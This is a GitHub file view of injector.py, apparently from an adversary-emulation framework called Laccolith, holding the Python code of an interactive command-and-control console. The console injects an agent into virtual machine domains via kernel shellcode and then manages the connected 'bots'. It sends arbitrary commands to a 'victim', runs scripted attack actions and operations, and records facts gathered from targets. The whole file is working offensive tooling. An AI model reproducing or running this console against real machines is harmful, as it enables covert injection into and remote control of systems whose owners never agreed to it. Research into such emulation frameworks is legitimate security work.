-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathinjector.py
359 lines (313 loc) · 15.3 KB
/
injector.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
import datetime
import types
import os
from vm_drivers import list_domains, inject_domain, InvalidDomain, InvalidSyscall, VolatilityError
from config.conf_manager import read_config, pretty_print_config
from c2.c2_server import start_multithreaded_c2, list_c2_connections, send_c2_command, read_c2_log, InvalidConnUUID, NotAliveConnection, kill_c2_connection
from c2.c2_actions import ActionRequirementsNotSatisfied
import c2.concrete_operations as c2ops
import c2.concrete_actions as c2actions
import c2.c2_facts as c2facts
changeable = ['win_major_version', 'win_minor_version', 'first_stage_profile', 'second_stage_profile',
'first_stage_injection_latency', 'second_stage_injection_latency', 'restore_syscall']
def c2read(_config, _offsets, _args):
if len(_args) > 0:
conn_uuid = _args[0]
try:
if len(_args) > 1:
index = _args[1]
data = read_c2_log(conn_uuid, index)
else:
data = read_c2_log(conn_uuid)
print(data)
except InvalidConnUUID:
print("Invalid connection UUID")
else:
print("You must provide 'conn_uuid' argument, and optionally the command index")
def c2send(_config, _offsets, _args):
if len(_args) > 1:
conn_uuid = _args[0]
cmd = " ".join(_args[1:])
try:
send_c2_command(conn_uuid, cmd)
except InvalidConnUUID:
print("Invalid connection UUID")
except NotAliveConnection:
print("Can't send commands to dead bots")
else:
print("You must provide 'conn_uuid' argument and at least one command argument to send")
def c2kill(_config, _offsets, _args):
if len(_args) > 1:
conn_uuid = _args[0]
try:
kill_c2_connection(conn_uuid)
except InvalidConnUUID:
print("Invalid connection UUID")
except NotAliveConnection:
print("Can't kill dead bots")
else:
print("You must provide 'conn_uuid' argument")
def c2list(_config, _offsets, _args):
conn_tuples = list_c2_connections()
try:
if len(_args) > 0:
start_index = int(_args[0])
if len(_args) > 1:
end_index = int(_args[1])
conn_tuples = conn_tuples[start_index:end_index]
else:
conn_tuples = [conn_tuples[start_index]]
except (IndexError, ValueError):
conn_tuples = []
print("Connection UUID\tClient address\tLast seen\tIs Alive\tNumber of commands".expandtabs(40))
for conn in conn_tuples:
last_seen = datetime.datetime.fromtimestamp(conn[2]).ctime()
new_conn = '\t'.join((conn[0], str(conn[1]), last_seen, 'Yes' if conn[3] else 'No', str(conn[4])))
new_conn = new_conn.expandtabs(40)
print(new_conn)
def dominject(_config, _offsets, _args):
if len(_args) > 0:
domain = _args[0]
try:
inject_domain(domain, _config, _offsets)
except InvalidDomain:
print("Invalid domain")
except InvalidSyscall:
print("Syscall injection point not found")
except NotImplementedError:
print("Error: you selected a shellcode profile or a Windows major version that wasn't implemented")
except VolatilityError:
print("Could not inject due to an error in volatility")
else:
print("You must provide 'domain' argument")
def domlist(_config, _offsets, _args):
domains = list_domains(_config)
print(", ".join(domains))
def showconf(_config, _offsets, _args):
pretty_print_config(_config)
def modconf(_config, _offsets, _args):
if len(_args) > 1:
conf_parameter = _args[0]
new_value = _args[1]
if conf_parameter not in changeable:
print(f'conf_parameter must be in: {", ".join(changeable)}')
else:
print(f'Old value: {_config[conf_parameter]}')
if isinstance(_config[conf_parameter], int):
try:
_config[conf_parameter] = int(new_value)
except ValueError:
print(f"Invalid value for {conf_parameter}")
else:
_config[conf_parameter] = new_value
print('New configuration:')
showconf(_config, _offsets, _args)
else:
print("You must provide 'conf_parameter' and 'new_value' arguments")
def c2action(_config, _offsets, _args):
available = [sym for sym in dir(c2actions)
if isinstance(c2actions.__getattribute__(sym), types.FunctionType)]
conn_uuid = _args[0]
action = _args[1]
if action not in available:
print("Invalid action. Use 'c2listactions' to see the available actions")
else:
try:
action_obj: c2actions.C2Action = c2actions.__getattribute__(action)(*_args[2:])
cmd_indexes_list = action_obj.performAction(conn_uuid)
cmd_indexes_list = ", ".join([str(i) for i in cmd_indexes_list])
print(f"Action completed. Command indexes: {cmd_indexes_list}\n"
"You can use 'c2read' with command indexes to see raw output of commands")
except ActionRequirementsNotSatisfied:
print("Some required facts is missing for specified action. Check the description "
"with 'c2describeaction'")
except InvalidConnUUID:
print("Invalid connection UUID")
except NotAliveConnection:
print("Can't send commands to dead bots")
except TypeError:
print("Invalid number of arguments for action, or some parameter is invalid")
except FileNotFoundError:
print("Error: an action tried to read a non-existent file on the local file system")
def c2operation(_config, _offsets, _args):
available = [sym for sym in dir(c2ops)
if isinstance(c2ops.__getattribute__(sym), types.FunctionType)]
conn_uuid = _args[0]
operation = _args[1]
if operation not in available:
print("Invalid operation. Use 'c2listops' to see the available operations")
else:
try:
operation_obj: c2ops.C2Operation = c2ops.__getattribute__(operation)()
report = operation_obj.performOperation(conn_uuid)
print(report)
except InvalidConnUUID:
print("Invalid connection UUID")
except NotAliveConnection:
print("Can't send commands to dead bots")
def c2getfact(_config, _offsets, _args):
conn_uuid = _args[0]
fact_name = _args[1]
try:
factsStorage = c2facts.FactsStorage(c2facts.ConnectionStorage(), conn_uuid)
try:
fact_value = factsStorage.getFact(fact_name)
if isinstance(fact_value, list):
fact_value = ", ".join(fact_value)
print(f"{fact_name}: {fact_value}")
except c2facts.NotExistentFact:
print("The fact you tried to read is not set for specified connection")
except InvalidConnUUID:
print("Invalid connection UUID")
def c2setfact(_config, _offsets, _args):
conn_uuid = _args[0]
fact_name = _args[1]
fact_value = " ".join(_args[2:])
try:
factsStorage = c2facts.FactsStorage(c2facts.ConnectionStorage(), conn_uuid)
try:
old_value = factsStorage.getFact(fact_name)
print(f"Old {fact_name}: {old_value}")
except c2facts.NotExistentFact:
print("You're about to create a new fact for specified connection")
factsStorage.setFact(fact_name, fact_value)
try:
new_value = factsStorage.getFact(fact_name)
print(f"New {fact_name}: {new_value}")
except c2facts.NotExistentFact:
print("Some error occurred: the fact has not been set")
except InvalidConnUUID:
print("Invalid connection UUID")
def c2listactions(_config, _offsets, _args):
available = [sym for sym in dir(c2actions)
if isinstance(c2actions.__getattribute__(sym), types.FunctionType)]
available = ", ".join(available)
print(f"Available actions: {available}")
def c2listops(_config, _offsets, _args):
available = [sym for sym in dir(c2ops)
if isinstance(c2ops.__getattribute__(sym), types.FunctionType)]
available = ", ".join(available)
print(f"Available operations: {available}")
def c2describeaction(_config, _offsets, _args):
available = [sym for sym in dir(c2actions)
if isinstance(c2actions.__getattribute__(sym), types.FunctionType)]
action = _args[0]
if action not in available:
print("Invalid action. Use 'c2listactions' to see the available actions")
else:
action_obj: c2actions.C2Action = c2actions.__getattribute__(action)()
description = action_obj.describeAction()
print(description)
def c2describeop(_config, _offsets, _args):
available = [sym for sym in dir(c2ops)
if isinstance(c2ops.__getattribute__(sym), types.FunctionType)]
operation = _args[0]
if operation not in available:
print("Invalid operation. Use 'c2listops' to see the available operations")
else:
operation_obj: c2ops.C2Operation = c2ops.__getattribute__(operation)()
description = operation_obj.describeOperation()
print(description)
def c2listfacts(_config, _offsets, _args):
conn_uuid = _args[0]
try:
factsStorage = c2facts.FactsStorage(c2facts.ConnectionStorage(), conn_uuid)
fact_names = [fact_name for fact_name in factsStorage.getConn()['facts'].keys()]
fact_names = ", ".join(fact_names)
print(f"Fact names for {conn_uuid}: {fact_names}")
except InvalidConnUUID:
print("Invalid connection UUID")
def ls(_config, _offsets, _args):
files = os.listdir('/usr/src/app/c2/connections/upload_dir')
files = "\t".join(files)
print(files)
def command_line_interface(_config, _offsets, stream_req_handler=None):
# TODO: maybe a command to show available profiles for first stage and second stage
options = ["domlist", "dominject", "c2list", "c2send", "c2read", "c2action", "c2operation",
"c2getfact", "c2setfact", "c2listactions", "c2listops", "c2describeaction",
"c2describeop", "c2listfacts", "c2kill", "ls", "showconf", "modconf", "quit", "help", "info"]
funcs = {'domlist': domlist, 'dominject': dominject, 'c2list': c2list, 'c2send': c2send,
'c2read': c2read, 'c2action': c2action, 'c2operation': c2operation, 'c2kill': c2kill,
'c2getfact': c2getfact, 'c2setfact': c2setfact, 'c2listactions': c2listactions,
'c2listops': c2listops, 'c2describeaction': c2describeaction, 'c2describeop': c2describeop,
'c2listfacts': c2listfacts, 'ls': ls, 'showconf': showconf, 'modconf': modconf}
infos = {'domlist': 'Usage: domlist\nList available domains',
'dominject': 'Usage: dominject <domain>\nInject agent into domain',
'c2list': 'Usage: c2list [start_index] [[end_index]]\nList all connections to C2 server\n'
'Supports pagination using optional arguments start_index and end_index, that can also '
'be negative indexes (e.g., -1 denotes the last row)',
'c2send': 'Usage: c2send <conn_uuid> [cmd_arg0] ... [cmd_argN]\nSend command to specified victim',
'c2read': 'Usage: c2read <conn_uuid> [cmd_index]\n'
'Read data received upon connection if no cmd_index is specified, otherwise read '
'command and command output of index specified',
'c2action': 'Usage: c2action <conn_uuid> <action_name> [action_arg0] ... [action_argN]\n'
'Start specified action against specified target, '
'performing it synchronously and setting facts',
'c2operation': 'Usage: c2operation <conn_uuid> <operation_name>\n'
'Start specified operation against specified target, '
'performing each action synchronously',
'c2getfact': 'Usage: c2getfact <conn_uuid> <fact_name>\n'
'Read the specified fact for the specified target, if available',
'c2setfact': 'Usage: c2setfact <conn_uuid> <fact_name> <new_fact_value>\n'
'Set or update the specified fact for the specified target; '
'only strings can be set, although facts can also be lists',
'c2listactions': 'Usage: c2listactions\nList names of available actions',
'c2listops': 'Usage: c2listops\nList names of available operations',
'c2describeaction': 'Usage: c2describeaction <action_name>\n'
'Obtain details about the specified action',
'c2describeop': 'Usage: c2describeop <operation_name>\n'
'Obtain details about the specified operation',
'c2listfacts': 'Usage: c2listfacts <conn_uuid>\n'
'List fact names available for the specified connection',
'c2kill': 'Usage: c2kill <conn_uuid>\n'
'Kill a connection, trying to notify the agent and notifying the interfaces '
'in which there is a running action/operation',
'ls': 'Usage: ls\nList files in the upload directory, useful for the write_file action',
'showconf': 'Usage: showconf\nShow configuration',
'modconf': 'Usage: modconf <conf_parameter> <new_value>\nChange value of specified parameter\n'
f'Changeable values: {", ".join(changeable)}\n'
'Other parameters have to be tuned before bootstrap',
'quit': 'Usage: quit\nExit this interface and shut down C2 server',
'help': 'Usage: help\nShow available options',
'info': 'Usage: info <option>\nShow option usage and brief description'}
while True:
print("Laccolith> ", end="")
choice = input().strip()
if choice == 'help':
print(f"Available commands: {', '.join(options)}")
elif choice == 'quit':
break
else:
choice = choice.split(' ')
option = choice[0]
if option == 'info':
if len(choice) < 2:
print("You must provide exactly one argument to 'info' option")
else:
req_info = choice[1]
if req_info not in infos:
print("Requested info for invalid option")
else:
print(infos[req_info])
elif option not in funcs:
print("Invalid command")
else:
try:
funcs[option](_config, _offsets, choice[1:])
except IndexError:
print("Insufficient number of arguments")
def start_c2(_config):
print('[+] Starting C2 Server')
_server = start_multithreaded_c2(_config)
print('[+] Done')
return _server
def stop_c2(_server):
print('[+] Starting C2 Server')
_server.shutdown()
print('[+] Done')
if __name__ == "__main__":
config = read_config('/usr/src/app/config/config.json')
offsets = read_config('/usr/src/app/kernel_shellcode_library/offsets.json')
server = start_c2(config)
command_line_interface(config, offsets)
stop_c2(server)